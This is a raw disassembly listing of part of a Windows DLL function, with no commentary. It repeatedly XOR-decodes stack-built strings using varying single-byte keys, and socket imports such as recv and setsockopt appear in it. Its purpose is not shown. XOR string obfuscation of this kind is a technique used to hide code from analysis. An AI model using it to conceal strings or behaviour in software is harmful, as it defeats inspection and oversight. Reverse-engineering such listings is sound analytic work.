lea rcx, [rsp + 0x2b20]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x20]
lea rcx, [rsp + 0x2b20]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x10c4], edi
cmp edi, 0x20
jge 0x180076e35
lea rax, [rsp + 0x2e40]
mov qword [rsp + 0x45b0], rax
movsxd rdx, edi
mov qword [rsp + 0x45a8], rdx
cmp rdx, 0x20
jae 0x18008bb81
lea rax, [rsp + 0x2e40]
add rax, rdx
mov qword [rsp + 0x45a0], rax
movzx ebx, byte [rax]
xor bl, 0xc
lea rcx, [rsp + 0x2b20]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x10c4], edi
jmp 0x180076dd8
lea rax, [rsp + 0x2b20]
mov qword [rsp + 0x4598], rax
lea rcx, [rsp + 0x2b20]
call fcn.18000ce90
mov qword [rsp + 0x4590], rax
mov rdx, rax
lea rcx, [rsp + 0x52f0]
call fcn.1800132b0
lea rdx, [0x1801e3ca4]
lea rcx, [rsp + 0x5310]
call fcn.1800ca110
movdqa xmm0, xmmword [0x1801b4160]
movdqu xmmword [rsp + 0x4f20], xmm0
movdqa xmm1, xmmword [str.jiFvaF]
movdqu xmmword [rsp + 0x4f30], xmm1
movdqu xmmword [rsp + 0x2e60], xmm0
movdqu xmmword [rsp + 0x2e70], xmm1
lea rax, [rsp + 0x2e60]
mov qword [rsp + 0x4588], rax
lea rcx, [rsp + 0x2b00]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x20]
lea rcx, [rsp + 0x2b00]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x10c8], edi
nop dword [rax]
cmp edi, 0x20
jge 0x180076f4d
lea rax, [rsp + 0x2e60]
mov qword [rsp + 0x4580], rax
movsxd rdx, edi
mov qword [rsp + 0x4578], rdx
cmp rdx, 0x20
jae 0x18008bb8e
lea rax, [rsp + 0x2e60]
add rax, rdx
mov qword [rsp + 0x4570], rax
movzx ebx, byte [rax]
xor bl, 0x19
lea rcx, [rsp + 0x2b00]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x10c8], edi
jmp 0x180076ef0
lea rax, [rsp + 0x2b00]
mov qword [rsp + 0x4568], rax
lea rcx, [rsp + 0x2b00]
call fcn.18000ce90
mov qword [rsp + 0x4560], rax
mov rdx, rax
lea rcx, [rsp + 0x5320]
call fcn.1800132b0
lea rdx, [0x1801e3ca8]
lea rcx, [rsp + 0x5340]
call fcn.1800ca110
movdqa xmm0, xmmword [0x1801b3b90]
movdqu xmmword [rsp + 0x1738], xmm0
mov byte [rsp + 0x1748], 0x4d
mov byte [rsp + 0x1749], 0x77
mov byte [rsp + 0x174a], 0x7c
mov byte [rsp + 0x174b], 0x73
mov byte [rsp + 0x174c], 0x70
mov byte [rsp + 0x174d], 0x7e
mov byte [rsp + 0x174e], 0x77
mov byte [rsp + 0x174f], 0x12
movdqu xmmword [rsp + 0x1010], xmm0
mov dword [rsp + 0x1020], 0x737c774d
mov dword [rsp + 0x1024], 0x12777e70
lea rax, [rsp + 0x1010]
mov qword [rsp + 0x4558], rax
lea rcx, [rsp + 0x2a80]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x18]
lea rcx, [rsp + 0x2a80]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x10cc], edi
cmp edi, 0x18
jge 0x18007709d
lea rax, [rsp + 0x1010]
mov qword [rsp + 0x4550], rax
movsxd rdx, edi
mov qword [rsp + 0x4548], rdx
cmp rdx, 0x18
jae 0x18008bb9b
lea rax, [rsp + 0x1010]
add rax, rdx
mov qword [rsp + 0x4540], rax
movzx ebx, byte [rax]
xor bl, 0x12
lea rcx, [rsp + 0x2a80]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x10cc], edi
jmp 0x180077040
lea rax, [rsp + 0x2a80]
mov qword [rsp + 0x4538], rax
lea rcx, [rsp + 0x2a80]
call fcn.18000ce90
mov qword [rsp + 0x4530], rax
mov rdx, rax
lea rcx, [rsp + 0x5350]
call fcn.1800132b0
lea rdx, [0x1801d1a7a]
lea rcx, [rsp + 0x5370]
call fcn.1800ca0d0
movdqa xmm0, xmmword [0x1801b3d00]
movdqa xmm1, xmmword [0x1801b4010]
mov al, listen
mov byte [rsp + 0x4f90], al
movups xmmword [rsp + 0x28e8], xmm0
movups xmmword [rsp + 0x28f8], xmm1
mov byte [rsp + 0x2908], al
lea rax, [rsp + 0x28e8]
mov qword [rsp + 0x4528], rax
lea rcx, [rsp + 0x2a60]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x21]
lea rcx, [rsp + 0x2a60]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x10d0], edi
cmp edi, 0x21
jge 0x1800771ad
lea rax, [rsp + 0x28e8]
mov qword [rsp + 0x4520], rax
movsxd rdx, edi
mov qword [rsp + 0x4518], rdx
cmp rdx, 0x21
jae 0x18008bba8
lea rax, [rsp + 0x28e8]
add rax, rdx
mov qword [rsp + 0x4510], rax
movzx ebx, byte [rax]
xor bl, 0xc
lea rcx, [rsp + 0x2a60]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x10d0], edi
jmp 0x180077150
lea rax, [rsp + 0x2a60]
mov qword [rsp + 0x4508], rax
lea rcx, [rsp + 0x2a60]
call fcn.18000ce90
mov qword [rsp + 0x4500], rax
mov rdx, rax
lea rcx, [rsp + 0x5380]
call fcn.1800132b0
lea rdx, [0x1801e3c40]
lea rcx, [rsp + 0x53a0]
call fcn.1800ca110
movdqa xmm0, xmmword [0x1801b3fb0]
movdqa xmm1, xmmword [0x1801b3ef0]
mov al, reloc.WLDAP32.dll_Ordinal_22
mov byte [rsp + 0x4fb8], al
movups xmmword [rsp + 0x2910], xmm0
movups xmmword [rsp + 0x2920], xmm1
mov byte [rsp + 0x2930], al
lea rax, [rsp + 0x2910]
mov qword [rsp + 0x44f8], rax
lea rcx, [rsp + 0x2ec0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x21]
lea rcx, [rsp + 0x2ec0]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x10d4], edi
cmp edi, 0x21
jge 0x1800772bd
lea rax, [rsp + 0x2910]
mov qword [rsp + 0x44f0], rax
movsxd rdx, edi
mov qword [rsp + 0x44e8], rdx
cmp rdx, 0x21
jae 0x18008bbb5
lea rax, [rsp + 0x2910]
add rax, rdx
mov qword [rsp + 0x44e0], rax
movzx ebx, byte [rax]
xor bl, 0x16
lea rcx, [rsp + 0x2ec0]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x10d4], edi
jmp 0x180077260
lea rax, [rsp + 0x2ec0]
mov qword [rsp + 0x44d8], rax
lea rcx, [rsp + 0x2ec0]
call fcn.18000ce90
mov qword [rsp + 0x44d0], rax
mov rdx, rax
lea rcx, [rsp + 0x53b0]
call fcn.1800132b0
lea rdx, [0x1801e3c44]
lea rcx, [rsp + 0x53d0]
call fcn.1800ca110
movdqa xmm0, xmmword [0x1801b2b60]
movdqa xmm1, xmmword [0x1801b2c30]
mov al, 0x48
mov byte [rsp + 0x4fe0], al
movups xmmword [rsp + 0x2938], xmm0
movups xmmword [rsp + 0x2948], xmm1
mov byte [rsp + 0x2958], al
lea rax, [rsp + 0x2938]
mov qword [rsp + 0x44c8], rax
lea rcx, [rsp + 0x2ee0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x21]
lea rcx, [rsp + 0x2ee0]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x10d8], edi
cmp edi, 0x21
jge 0x1800773cd
lea rax, [rsp + 0x2938]
mov qword [rsp + 0x44c0], rax
movsxd rdx, edi
mov qword [rsp + 0x44b8], rdx
cmp rdx, 0x21
jae 0x18008bbc2
lea rax, [rsp + 0x2938]
add rax, rdx
mov qword [rsp + 0x44b0], rax
movzx ebx, byte [rax]
xor bl, 0x48
lea rcx, [rsp + 0x2ee0]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x10d8], edi
jmp 0x180077370
lea rax, [rsp + 0x2ee0]
mov qword [rsp + 0x44a8], rax
lea rcx, [rsp + 0x2ee0]
call fcn.18000ce90
mov qword [rsp + 0x44a0], rax
mov rdx, rax
lea rcx, [rsp + 0x53e0]
call fcn.1800132b0
lea rdx, [0x1801e3c48]
lea rcx, [rsp + 0x5400]
call fcn.1800ca110
movdqa xmm0, xmmword [0x1801b41c0]
movdqa xmm1, xmmword [0x1801b41d0]
mov byte [rsp + 0x3020], 0x75
mov byte [rsp + 0x3021], 0x7f
mov byte [rsp + 0x3022], 0x44
mov byte [rsp + 0x3023], 0x63
mov cl, reloc.WLDAP32.dll_Ordinal_27
mov byte [rsp + 0x3024], cl
movups xmmword [rsp + 0x2820], xmm0
movups xmmword [rsp + 0x2830], xmm1
mov eax, dword [rsp + 0x3020]
mov dword [rsp + 0x2840], eax
mov byte [rsp + 0x2844], cl
lea rax, [rsp + 0x2820]
mov qword [rsp + 0x4498], rax
lea rcx, [rsp + 0x2c00]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x25]
lea rcx, [rsp + 0x2c00]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x10dc], edi
nop
cmp edi, 0x25
jge 0x18007750d
lea rax, [rsp + 0x2820]
mov qword [rsp + 0x4490], rax
movsxd rdx, edi
mov qword [rsp + 0x4488], rdx
cmp rdx, 0x25
jae 0x18008bbcf
lea rax, [rsp + 0x2820]
add rax, rdx
mov qword [rsp + 0x4480], rax
movzx ebx, byte [rax]
xor bl, 0x1b
lea rcx, [rsp + 0x2c00]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x10dc], edi
jmp 0x1800774b0
lea rax, [rsp + 0x2c00]
mov qword [rsp + 0x4478], rax
lea rcx, [rsp + 0x2c00]
call fcn.18000ce90
mov qword [rsp + 0x4470], rax
mov rdx, rax
lea rcx, [rsp + 0x5410]
call fcn.1800132b0
lea rdx, [0x1801e3c10]
lea rcx, [rsp + 0x5430]
call fcn.1800ca110
movdqa xmm0, xmmword [0x1801b2b30]
movdqa xmm1, xmmword [0x1801b2b40]
mov byte [rsp + 0x3048], 0x27
mov byte [rsp + 0x3049], 0x2d
mov byte [rsp + 0x304a], 0x16
mov byte [rsp + 0x304b], 0x30
mov cl, 0x49
mov byte [rsp + 0x304c], cl
movups xmmword [rsp + 0x2848], xmm0
movups xmmword [rsp + 0x2858], xmm1
mov eax, dword [rsp + 0x3048]
mov dword [rsp + 0x2868], eax
mov byte [rsp + 0x286c], cl
lea rax, [rsp + 0x2848]
mov qword [rsp + 0x4468], rax
lea rcx, [rsp + 0x2fe0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x25]
lea rcx, [rsp + 0x2fe0]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x10e0], edi
nop
cmp edi, 0x25
jge 0x18007764d
lea rax, [rsp + 0x2848]
mov qword [rsp + 0x4460], rax
movsxd rdx, edi
mov qword [rsp + 0x4458], rdx
cmp rdx, 0x25
jae 0x18008bbdc
lea rax, [rsp + 0x2848]
add rax, rdx
mov qword [rsp + 0x4450], rax
movzx ebx, byte [rax]
xor bl, 0x49
lea rcx, [rsp + 0x2fe0]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x10e0], edi
jmp 0x1800775f0
lea rax, [rsp + 0x2fe0]
mov qword [rsp + 0x4448], rax
lea rcx, [rsp + 0x2fe0]
call fcn.18000ce90
mov qword [rsp + 0x4440], rax
mov rdx, rax
lea rcx, [rsp + 0x5440]
call fcn.1800132b0
lea rdx, [0x1801e3c14]
lea rcx, [rsp + 0x5460]
call fcn.1800ca110
movdqa xmm0, xmmword [0x1801b3be0]
movdqa xmm1, xmmword [0x1801b3bf0]
mov byte [rsp + 0x3070], 0x68
mov byte [rsp + 0x3071], 0x62
mov byte [rsp + 0x3072], 0x59
mov byte [rsp + 0x3073], 0x7c
mov cl, 6
mov byte [rsp + 0x3074], cl
movups xmmword [rsp + 0x27f8], xmm0
movups xmmword [rsp + 0x2808], xmm1
mov eax, dword [rsp + 0x3070]
mov dword [rsp + 0x2818], eax
mov byte [rsp + 0x281c], cl
lea rax, [rsp + 0x27f8]
mov qword [rsp + 0x4438], rax
lea rcx, [rsp + 0x2960]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x25]
lea rcx, [rsp + 0x2960]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x10e4], edi
nop
cmp edi, 0x25
jge 0x18007778d
lea rax, [rsp + 0x27f8]
mov qword [rsp + 0x4430], rax
movsxd rdx, edi
mov qword [rsp + 0x4428], rdx
cmp rdx, 0x25
jae 0x18008bbe9
lea rax, [rsp + 0x27f8]
add rax, rdx
mov qword [rsp + 0x4420], rax
movzx ebx, byte [rax]
xor bl, 6
lea rcx, [rsp + 0x2960]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x10e4], edi
jmp 0x180077730
lea rax, [rsp + 0x2960]
mov qword [rsp + 0x4418], rax
lea rcx, [rsp + 0x2960]
call fcn.18000ce90
mov qword [rsp + 0x4410], rax
mov rdx, rax
lea rcx, [rsp + 0x5470]
call fcn.1800132b0
lea rdx, [0x1801e3c18]
lea rcx, [rsp + 0x5490]
call fcn.1800ca110
movdqa xmm0, xmmword [0x1801b34c0]
movdqa xmm1, xmmword [0x1801b34a0]
mov byte [rsp + 0x4e88], 0x71
mov byte [rsp + 0x4e89], 0x56
mov cl, reloc.WLDAP32.dll_Ordinal_46
mov byte [rsp + 0x4e8a], cl
movups xmmword [rsp + 0x2780], xmm0
movups xmmword [rsp + 0x2790], xmm1
movzx eax, word [rsp + 0x4e88]
mov word [rsp + 0x27a0], ax
mov byte [rsp + 0x27a2], cl
lea rax, [rsp + 0x2780]
mov qword [rsp + 0x4408], rax
lea rcx, [rsp + 0x2da0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x23]
lea rcx, [rsp + 0x2da0]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x10e8], edi
cmp edi, 0x23
jge 0x1800778bd
lea rax, [rsp + 0x2780]
mov qword [rsp + 0x4400], rax
movsxd rdx, edi
mov qword [rsp + 0x49e0], rdx
cmp rdx, 0x23
jae 0x18008bbf6
lea rax, [rsp + 0x2780]
add rax, rdx
mov qword [rsp + 0x43f8], rax
movzx ebx, byte [rax]
xor bl, 0x2e
lea rcx, [rsp + 0x2da0]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x10e8], edi
jmp 0x180077860
lea rax, [rsp + 0x2da0]
mov qword [rsp + 0x43f0], rax
lea rcx, [rsp + 0x2da0]
call fcn.18000ce90
mov qword [rsp + 0x43e8], rax
mov rdx, rax
lea rcx, [rsp + 0x54a0]
call fcn.1800132b0
lea rdx, [0x1801e3c30]
lea rcx, [rsp + 0x54c0]
call fcn.1800ca110
movdqa xmm0, xmmword [0x1801b32b0]
movdqa xmm1, xmmword [0x1801b32e0]
mov byte [rsp + 0x4eb0], 0x78
mov byte [rsp + 0x4eb1], 0x5e
mov cl, 0x27
mov byte [rsp + 0x4eb2], cl
movups xmmword [rsp + 0x27a8], xmm0
movups xmmword [rsp + 0x27b8], xmm1
movzx eax, word [rsp + 0x4eb0]
mov word [rsp + 0x27c8], ax
mov byte [rsp + 0x27ca], cl
lea rax, [rsp + 0x27a8]
mov qword [rsp + 0x43e0], rax
lea rcx, [rsp + 0x2980]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x23]
lea rcx, [rsp + 0x2980]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x114c], edi
cmp edi, 0x23
jge 0x1800779ed
lea rax, [rsp + 0x27a8]
mov qword [rsp + 0x43d8], rax
movsxd rdx, edi
mov qword [rsp + 0x43d0], rdx
cmp rdx, 0x23
jae 0x18008bc03
lea rax, [rsp + 0x27a8]
add rax, rdx
mov qword [rsp + 0x43c8], rax
movzx ebx, byte [rax]
xor bl, 0x27
lea rcx, [rsp + 0x2980]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x114c], edi
jmp 0x180077990
lea rax, [rsp + 0x2980]
mov qword [rsp + 0x43c0], rax
lea rcx, [rsp + 0x2980]
call fcn.18000ce90
mov qword [rsp + 0x43b8], rax
mov rdx, rax
lea rcx, [rsp + 0x54d0]
call fcn.1800132b0
lea rdx, [0x1801e3c34]
lea rcx, [rsp + 0x54f0]
call fcn.1800ca110
movdqa xmm0, xmmword [0x1801b3dc0]
movdqa xmm1, xmmword [0x1801b3e50]
mov byte [rsp + 0x4ed8], 0x56
mov byte [rsp + 0x4ed9], 0x73
mov cl, 9
mov byte [rsp + 0x4eda], cl
movups xmmword [rsp + 0x27d0], xmm0
movups xmmword [rsp + 0x27e0], xmm1
movzx eax, word [rsp + 0x4ed8]
mov word [rsp + 0x27f0], ax
mov byte [rsp + 0x27f2], cl
lea rax, [rsp + 0x27d0]
mov qword [rsp + 0x43b0], rax
lea rcx, [rsp + 0x29a0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x23]
lea rcx, [rsp + 0x29a0]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x10ec], edi
cmp edi, 0x23
jge 0x180077b1d
lea rax, [rsp + 0x27d0]
mov qword [rsp + 0x43a8], rax
movsxd rdx, edi
mov qword [rsp + 0x43a0], rdx
cmp rdx, 0x23
jae 0x18008bc10
lea rax, [rsp + 0x27d0]
add rax, rdx
mov qword [rsp + 0x4398], rax
movzx ebx, byte [rax]
xor bl, 9
lea rcx, [rsp + 0x29a0]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x10ec], edi
jmp 0x180077ac0
lea rax, [rsp + 0x29a0]
mov qword [rsp + 0x4390], rax
lea rcx, [rsp + 0x29a0]
call fcn.18000ce90
mov qword [rsp + 0x4388], rax
mov rdx, rax
lea rcx, [rsp + 0x5500]
call fcn.1800132b0
lea rdx, [0x1801e3c38]
lea rcx, [rsp + 0x5520]
call fcn.1800ca110
movdqa xmm0, xmmword [0x1801b33e0]
movdqa xmm1, xmmword [0x1801b33b0]
mov byte [rsp + 0x3098], 0x4c
mov byte [rsp + 0x3099], 0x46
mov byte [rsp + 0x309a], 0x7d
mov byte [rsp + 0x309b], 0x5a
mov cl, Ordinal_35
mov byte [rsp + 0x309c], cl
movups xmmword [rsp + 0x2870], xmm0
movups xmmword [rsp + 0x2880], xmm1
mov eax, dword [rsp + 0x3098]
mov dword [rsp + 0x2890], eax
mov byte [rsp + 0x2894], cl
lea rax, [rsp + 0x2870]
mov qword [rsp + 0x4380], rax
lea rcx, [rsp + 0x29c0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x25]
lea rcx, [rsp + 0x29c0]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x10f0], edi
nop
cmp edi, 0x25
jge 0x180077c5d
lea rax, [rsp + 0x2870]
mov qword [rsp + 0x4378], rax
movsxd rdx, edi
mov qword [rsp + 0x4370], rdx
cmp rdx, 0x25
jae 0x18008bc1d
lea rax, [rsp + 0x2870]
add rax, rdx
mov qword [rsp + 0x4368], rax
movzx ebx, byte [rax]
xor bl, 0x22
lea rcx, [rsp + 0x29c0]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x10f0], edi
jmp 0x180077c00
lea rax, [rsp + 0x29c0]
mov qword [rsp + 0x4360], rax
lea rcx, [rsp + 0x29c0]
call fcn.18000ce90
mov qword [rsp + 0x4358], rax
mov rdx, rax
lea rcx, [rsp + 0x5530]
call fcn.1800132b0
lea rdx, [0x1801e3c90]
lea rcx, [rsp + 0x5550]
call fcn.1800ca110
movdqa xmm0, xmmword [0x1801b4030]
movdqa xmm1, xmmword [0x1801b4050]
mov byte [rsp + 0x30c0], 0x7e
mov byte [rsp + 0x30c1], 0x74
mov byte [rsp + 0x30c2], 0x4f
mov byte [rsp + 0x30c3], 0x69
mov cl, reloc.WS2_32.dll_recv
mov byte [rsp + 0x30c4], cl
movups xmmword [rsp + 0x2898], xmm0
movups xmmword [rsp + 0x28a8], xmm1
mov eax, dword [rsp + 0x30c0]
mov dword [rsp + 0x28b8], eax
mov byte [rsp + 0x28bc], cl
lea rax, [rsp + 0x2898]
mov qword [rsp + 0x4350], rax
lea rcx, [rsp + 0x29e0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x25]
lea rcx, [rsp + 0x29e0]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x10f4], edi
nop
cmp edi, 0x25
jge 0x180077d9d
lea rax, [rsp + 0x2898]
mov qword [rsp + 0x4348], rax
movsxd rdx, edi
mov qword [rsp + 0x4340], rdx
cmp rdx, 0x25
jae 0x18008bc2a
lea rax, [rsp + 0x2898]
add rax, rdx
mov qword [rsp + 0x4338], rax
movzx ebx, byte [rax]
xor bl, 0x10
lea rcx, [rsp + 0x29e0]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x10f4], edi
jmp 0x180077d40
lea rax, [rsp + 0x29e0]
mov qword [rsp + 0x4330], rax
lea rcx, [rsp + 0x29e0]
call fcn.18000ce90
mov qword [rsp + 0x4328], rax
mov rdx, rax
lea rcx, [rsp + 0x5560]
call fcn.1800132b0
lea rdx, [0x1801e3c94]
lea rcx, [rsp + 0x5580]
call fcn.1800ca110
movdqa xmm0, xmmword [0x1801b3f30]
movdqa xmm1, xmmword [0x1801b3f40]
mov byte [rsp + 0x30e8], 0x7b
mov byte [rsp + 0x30e9], 0x71
mov byte [rsp + 0x30ea], 0x4a
mov byte [rsp + 0x30eb], 0x6f
mov cl, reloc.WS2_32.dll_setsockopt
mov byte [rsp + 0x30ec], cl
movups xmmword [rsp + 0x28c0], xmm0
movups xmmword [rsp + 0x28d0], xmm1
mov eax, dword [rsp + 0x30e8]
mov dword [rsp + 0x28e0], eax
mov byte [rsp + 0x28e4], cl
lea rax, [rsp + 0x28c0]
mov qword [rsp + 0x4320], rax
lea rcx, [rsp + 0x2a00]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x25]
lea rcx, [rsp + 0x2a00]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x10f8], edi
nop
cmp edi, 0x25
jge 0x180077edd
lea rax, [rsp + 0x28c0]
mov qword [rsp + 0x4318], rax
movsxd rdx, edi
mov qword [rsp + 0x4310], rdx
cmp rdx, 0x25
jae 0x18008bc37
lea rax, [rsp + 0x28c0]
add rax, rdx
mov qword [rsp + 0x4308], rax
movzx ebx, byte [rax]
xor bl, 0x15
lea rcx, [rsp + 0x2a00]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x10f8], edi
jmp 0x180077e80
lea rax, [rsp + 0x2a00]
mov qword [rsp + 0x4300], rax
lea rcx, [rsp + 0x2a00]
call fcn.18000ce90
mov qword [rsp + 0x42f8], rax
mov rdx, rax
lea rcx, [rsp + 0x5590]
call fcn.1800132b0
lea rdx, [0x1801e3c98]
lea rcx, [rsp + 0x55b0]
call fcn.1800ca110
movdqa xmm0, xmmword [0x1801b2cf0]
movdqu xmmword [rsp + 0x2500], xmm0
mov byte [rsp + 0x2510], 0xa
mov byte [rsp + 0x2511], 8
mov byte [rsp + 0x2512], 4
mov byte [rsp + 0x2513], 0x69
movdqu xmmword [rsp + 0x1448], xmm0
mov dword [rsp + 0x1458], 0x6904080a
lea rax, [rsp + 0x1448]
mov qword [rsp + 0x42f0], rax
lea rcx, [rsp + 0x2a20]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x14]
lea rcx, [rsp + 0x2a20]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x10fc], edi
cmp edi, 0x14
jge 0x180078002
lea rax, [rsp + 0x1448]
mov qword [rsp + 0x42e8], rax
movsxd rdx, edi
mov qword [rsp + 0x42e0], rdx
cmp rdx, 0x14
jae 0x18008bc44
lea rax, [rsp + 0x1448]
add rax, rdx
mov qword [rsp + 0x42d8], rax
movzx ebx, byte [rax]
xor bl, 0x69
lea rcx, [rsp + 0x2a20]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x10fc], edi
jmp 0x180077fa5
lea rax, [rsp + 0x2a20]
mov qword [rsp + 0x42d0], rax
lea rcx, [rsp + 0x2a20]
call fcn.18000ce90
mov qword [rsp + 0x42c8], rax
mov rdx, rax
lea rcx, [rsp + 0x55c0]
call fcn.1800132b0
lea rdx, [0x1801eae6a]
lea rcx, [rsp + 0x55e0]
call fcn.1800ca0d0
movdqa xmm0, xmmword [0x1801b3a40]
movdqu xmmword [rsp + 0x1e18], xmm0
mov byte [rsp + 0x1e28], 0x48
mov byte [rsp + 0x1e29], 0x53
mov byte [rsp + 0x1e2a], 0x5f
mov byte [rsp + 0x1e2b], 0x54
mov byte [rsp + 0x1e2c], 0x5e
mov byte [rsp + 0x1e2d], 0x3a
movdqu xmmword [rsp + 0x12e0], xmm0
mov dword [rsp + 0x12f0], 0x545f5348
mov word [rsp + 0x12f4], 0x3a5e
lea rax, [rsp + 0x12e0]
mov qword [rsp + 0x42c0], rax
lea rcx, [rsp + 0x2a40]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x16]
lea rcx, [rsp + 0x2a40]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x1100], edi
cmp edi, 0x16
jge 0x180078141
lea rax, [rsp + 0x12e0]
mov qword [rsp + 0x42b8], rax
movsxd rdx, edi
mov qword [rsp + 0x42b0], rdx
cmp rdx, 0x16
jae 0x18008bc51
lea rax, [rsp + 0x12e0]
add rax, rdx
mov qword [rsp + 0x42a8], rax
movzx ebx, byte [rax]
xor bl, 0x3a
lea rcx, [rsp + 0x2a40]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x1100], edi
jmp 0x1800780e4
lea rax, [rsp + 0x2a40]
mov qword [rsp + 0x42a0], rax
lea rcx, [rsp + 0x2a40]
call fcn.18000ce90
mov qword [rsp + 0x4298], rax
mov rdx, rax
lea rcx, [rsp + 0x55f0]
call fcn.1800132b0
lea rdx, [0x1801eaeab]
lea rcx, [rsp + 0x5610]
call fcn.1800ca0d0
movdqa xmm0, xmmword [0x1801b3cd0]
movdqu xmmword [rsp + 0x1a18], xmm0
mov byte [rsp + 0x1a28], 0x51
mov byte [rsp + 0x1a29], 0x45
mov byte [rsp + 0x1a2a], 0x5e
mov byte [rsp + 0x1a2b], 0x52
mov byte [rsp + 0x1a2c], 0x59
mov byte [rsp + 0x1a2d], 0x53
mov byte [rsp + 0x1a2e], 0x37
movdqu xmmword [rsp + 0x1040], xmm0
mov dword [rsp + 0x1050], 0x525e4551
mov word [rsp + 0x1054], 0x5359
mov byte [rsp + 0x1056], 0x37
lea rax, [rsp + 0x1040]
mov qword [rsp + 0x4290], rax
lea rcx, [rsp + 0x2ae0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x17]
lea rcx, [rsp + 0x2ae0]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x1104], edi
cmp edi, 0x17
jge 0x180078290
lea rax, [rsp + 0x1040]
mov qword [rsp + 0x4288], rax
movsxd rdx, edi
mov qword [rsp + 0x4280], rdx
cmp rdx, 0x17
jae 0x18008bc5e
lea rax, [rsp + 0x1040]
add rax, rdx
mov qword [rsp + 0x4278], rax
movzx ebx, byte [rax]
xor bl, 0x37
lea rcx, [rsp + 0x2ae0]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x1104], edi
jmp 0x180078233
lea rax, [rsp + 0x2ae0]
mov qword [rsp + 0x4270], rax
lea rcx, [rsp + 0x2ae0]
call fcn.18000ce90
mov qword [rsp + 0x4268], rax
mov rdx, rax
lea rcx, [rsp + 0x5620]
call fcn.1800132b0
lea rdx, [0x1801eaebe]
lea rcx, [rsp + 0x5640]
call fcn.1800ca0d0
movdqa xmm0, xmmword [0x1801b4140]
movdqu xmmword [rsp + 0x14a0], xmm0
mov byte [rsp + 0x14b0], 0x75
mov byte [rsp + 0x14b1], 0x78
mov byte [rsp + 0x14b2], 0x7e
mov byte [rsp + 0x14b3], 0x44
mov byte [rsp + 0x14b4], 0x7d
mov byte [rsp + 0x14b5], 0x69
mov byte [rsp + 0x14b6], 0x72
mov byte [rsp + 0x14b7], 0x7e
mov byte [rsp + 0x14b8], 0x75
mov byte [rsp + 0x14b9], 0x7f
mov byte [rsp + 0x14ba], 0x1b
movdqu xmmword [rsp + 0xf08], xmm0
mov dword [rsp + 0xf18], 0x447e7875
mov dword [rsp + 0xf1c], 0x7e72697d
mov word [rsp + 0xf20], 0x7f75
mov byte [rsp + 0xf22], 0x1b
lea rax, [rsp + 0xf08]
mov qword [rsp + 0x4260], rax
lea rcx, [rsp + 0x2d80]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x1b]
lea rcx, [rsp + 0x2d80]
call fcn.180015cd0
xor edi, edi
mov dword [rsp + 0x1108], edi
nop dword [rax]
cmp edi, 0x1b
jge 0x18007840d
lea rax, [rsp + 0xf08]
mov qword [rsp + 0x4258], rax
movsxd rdx, edi
mov qword [rsp + 0x4250], rdx
cmp rdx, 0x1b
jae 0x18008bc6b
lea rax, [rsp + 0xf08]
add rax, rdx
mov qword [rsp + 0x4248], rax
movzx ebx, byte [rax]
xor bl, 0x1b
lea rcx, [rsp + 0x2d80]
call fcn.1800be930
mov byte [rax], bl
inc edi
mov dword [rsp + 0x1108], edi
jmp 0x1800783b0
lea rax, [rsp + 0x2d80]
mov qword [rsp + 0x4240], rax
